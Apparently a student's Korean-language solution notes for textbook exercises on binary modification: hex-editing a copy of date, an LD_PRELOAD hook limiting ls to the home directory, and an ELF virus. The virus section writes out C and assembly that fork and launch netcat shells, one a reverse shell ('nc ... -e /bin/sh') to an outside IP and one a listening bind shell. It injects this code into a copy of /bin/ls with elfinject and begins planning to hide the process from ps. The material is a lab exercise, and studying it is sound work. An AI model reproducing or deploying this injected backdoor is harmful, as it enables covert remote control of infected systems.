Search

7장 연습문제

1. 날짜 형식 바꾸기

/bin/date 프로그램을 복사한 후 hexeidt 도구를 사용해 날짜 문자열의 기본 형식을 수정해보자. 문자열의 기본 형식이 어떻게 생겼는지를 알고 싶다면 strings 도구를 활용하라.
%a, %d %b %Y %H:%M:%S %z 해당 문자열 확인
C
복사
hxd로 해당 타입 문자열이 존재하는 것을 확인
di 28 sep 2021 16:21:22 CEST를
한국식으로 2021 sep 28 di? 16:21:22 CEST로 변경해 보겠음
binary@binary-VirtualBox:~/code/chapter7/example$ ./date.modi di 28 sep 2021 16:30:32 CEST
C
복사
되지 않아 지역을 미국으로 바꿈
binary@binary-VirtualBox:~/code/chapter7/example$ ./date.modi Tue Sep 28 16:37:13 CEST 2021
C
복사
출력 양식이 바뀜
%a %b %e %H:%M:%S %Z %Y 요일 달 날짜
C
복사
위와 같이 변경
%Y %b %e %a %H:%M:%S %Z binary@binary-VirtualBox:~/code/chapter7/example$ ./date.modi Tue Sep 28 16:45:20 CEST 2021
C
복사
그래도 정상적으로 되지 않아 더이상 진행하지 않고 패스함.
%a, %Y %b %d %H:%M:%S %z
C
복사
해당 기준으로 출력되어야 하는게 정상이라고 생각함.

2. ls의 범위 제한하기

/bin/ls 프로그램을 복사한 후 LD_PRELOAD 기법을 활용해 디렉터리 리스팅 기능이 오직 사용자의 홈 디렉터리에만 국한되도록 개조해보자.
#define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <dirent.h> #include <dlfcn.h> DIR* (*orig_opendir)(const char*); DIR* opendir(const char* name) { if(!orig_opendir){ orig_opendir = dlsym(RTLD_NEXT, "opendir"); } char pwd[100]; getcwd(pwd,100); // 현재 경로 확인 char* home = getenv("HOME"); // 유저 환경변수의 홈 디렉토리 확인 printf("pwd:%s\nHOME:%s\n",pwd,home); if(strcasecmp(pwd,home)==0){ // 같을경우 printf("Here's Your Home Path!\n"); return orig_opendir(name); } else{ // 다를경우 printf("Here's Not Your a Home Path!\n"); exit(0); }
C
복사
binary@binary-VirtualBox:~$ LD_PRELOAD=`pwd`/ls.so ./ls.new pwd:/home/binary HOME:/home/binary Here's Your Home Path! capstone Desktop Downloads libdft ls.new Music pin Templates Videos code Documents kernel ls.c ls.so Pictures Public triton binary@binary-VirtualBox:~/code/chapter7/example$ LD_PRELOAD=`pwd`/ls.so ./ls.new pwd:/home/binary/code/chapter7/example HOME:/home/binary Here's Not Your Home Path! binary@binary-VirtualBox:~/code/chapter7/example$
C
복사

3. ELF 바이러스

직접 ELF 바이러스를 개발하고 elfinject를 사용해 특정 프로그램을 감염시켜 보자. 바이러스는 백도어(backdoor)를 생성하는 자식 프로세스를 복제해야 한다.
추가적으로 ps 프로그램을 복사한 후 이를 개조해 여러분이 만든 바이러스 프로그램이 프로세스 목록에 표출되지 않도록 만들어 보자.
#include <stdio.h> int main() { switch(fork()) { case 0: system("nc 192.168.145.139 8765 -e /bin/sh"); } return 0; }
C
복사
일단 리버스쉘만 되는걸로 심플하게 만들었다.
어셈블리로 컴파일
binary@binary-VirtualBox:~/code/chapter7/example$ gcc -S -masm=intel vuln.c .file "vuln.c" .intel_syntax noprefix .section .rodata .align 8 .LC0: .string "nc 192.168.145.139 8765 -e /bin/sh" .text .globl main .type main, @function main: .LFB2: .cfi_startproc push rbp .cfi_def_cfa_offset 16 .cfi_offset 6, -16 mov rbp, rsp .cfi_def_cfa_register 6 call fork cmp eax, 0 jne .L2 mov edi, OFFSET FLAT:.LC0 call system .L2: mov eax, 0 pop rbp .cfi_def_cfa 7, 8 ret .cfi_endproc .LFE2: .size main, .-main .ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.5) 5.4.0 20160609" .section .note.GNU-stack,"",@progbits
C
복사
사용할 부분만 추려서 재생산
BITS 64 SECTION .text global main main: .LFB2: push rbp mov rbp, rsp mov rax, 1 syscall //fork syscall cmp rax, 0 jne .L2 mov rax, 5 mov rdi, nc mov rsi, 0 mov rdx, 0 syscall //execve syscall .L2: mov eax, 0 pop rbp push 0x4049a0 // return entrypoint ret nc db "nc 192.168.145.139 8765 -e /bin/sh" // strings
C
복사
잘 다듬었습니다.
Entry point address: 0x4049a0 [27] .injected PROGBITS 0000000000800e78 01ee78 00005a 00 AX 0 0 16 Entry point address: 0x800e78
C
복사
파일 엔트리포인트와 삽입한 섹션 시작주소 잘 확인합니다. hexedit으로 수정합니다.
이후 실행합니다.
binary@binary-VirtualBox:~/code/chapter7/example$ ./new ls.c ls.so new test.c test.s vuln.bin vuln.c vuln.o vuln_old.s vuln.
C
복사
syscall 57번이 fork인데 1번가지고 하고 있었을까요
//최종 소스 BITS 64 SECTION .text global main main: .LFB0: push rbp mov rbp, rsp mov rax, 57 syscall cmp rax, 0 jne .L2 lea rdi, [rel nc] mov rax, 59 syscall .L2: mov rax, 0 pop rbp push 0x4049a0 ret nc db "nc -lvp 1234 -e /bin/sh &"
C
복사
작업 잘 하고 실행해봅니다
binary@binary-VirtualBox:~/code/chapter7/example$ vim c_vuln.s binary@binary-VirtualBox:~/code/chapter7/example$ nasm -f bin -o c_vuln.bin c_vuln.s binary@binary-VirtualBox:~/code/chapter7/example$ cp /bin/ls new binary@binary-VirtualBox:~/code/chapter7/example$ ../elfinject new c_vuln.bin ".injected" 0x800000 -1 binary@binary-VirtualBox:~/code/chapter7/example$ hexedit new binary@binary-VirtualBox:~/code/chapter7/example$ ./new a.out c_vuln.bin c_vuln.c c_vuln.s ls.c ls.so new peda-session-new.txt s_vuln.s vuln.bin
C
복사
잘 안돌아갑니다. 계속 execve syscall에서 에러가 납니다.
실행파일 + 파라미터가 아닌 그냥 위에서 빌드한 nc를 실행하도록 합시다.
//최종 BITS 64 SECTION .text global main main: .LFB0: push rbp mov rbp, rsp mov rax,57 syscall test eax, eax jne .L2 lea edi, [rel nc] mov eax, 59 mov rsi,0 mov rdx,0 syscall .L2: mov eax, 0 pop rbp push 0x4049a0 ret nc db "/home/binary/code/chapter7/example/runnc" //소스코드 #include <stdio.h> #include <unistd.h> int main() { if(fork() == 0) { system("nc -lvp 1234 -e /bin/sh"); } return 0; } binary@binary-VirtualBox:~/code/chapter7/example$ ./new c_vuln.bin c_vuln.s last.s ls.so ncrun peda-session-new.txt runnc c_vuln.c last.bin ls.c Makefile new ps.new vuln.bin binary@binary-VirtualBox:~/code/chapter7/example$ listening on [any] 1234 ...
C
복사
nc가 잘 돌고 이제 ps를 수정해서 nc 프로세스가 보이지 않게 숨겨봅시다.
1.
PS 수정을 바이너리 인젝션으로 하려고 시도해봤지만 외부 라이브러리 사용이 불가하여 삽질 후 포기
2.
PS 자체 코드 수정은 fwrite로 문자열들을 입력받고, 최종적으로 _IO_new_file_xsputn으로 출력하나
a.
기본 옵션의 경우 fwrite 입력 할 때 마다 출력
b.
-f 옵션이 붙을 경우 한 라인을 한번에 모아서 출력하는게 다른점임.
3.
하지만 라이브러리 쪽은 코드수정이 불가능하므로 ps 실행 파일 내에서 변조할 방법을 찾아야함.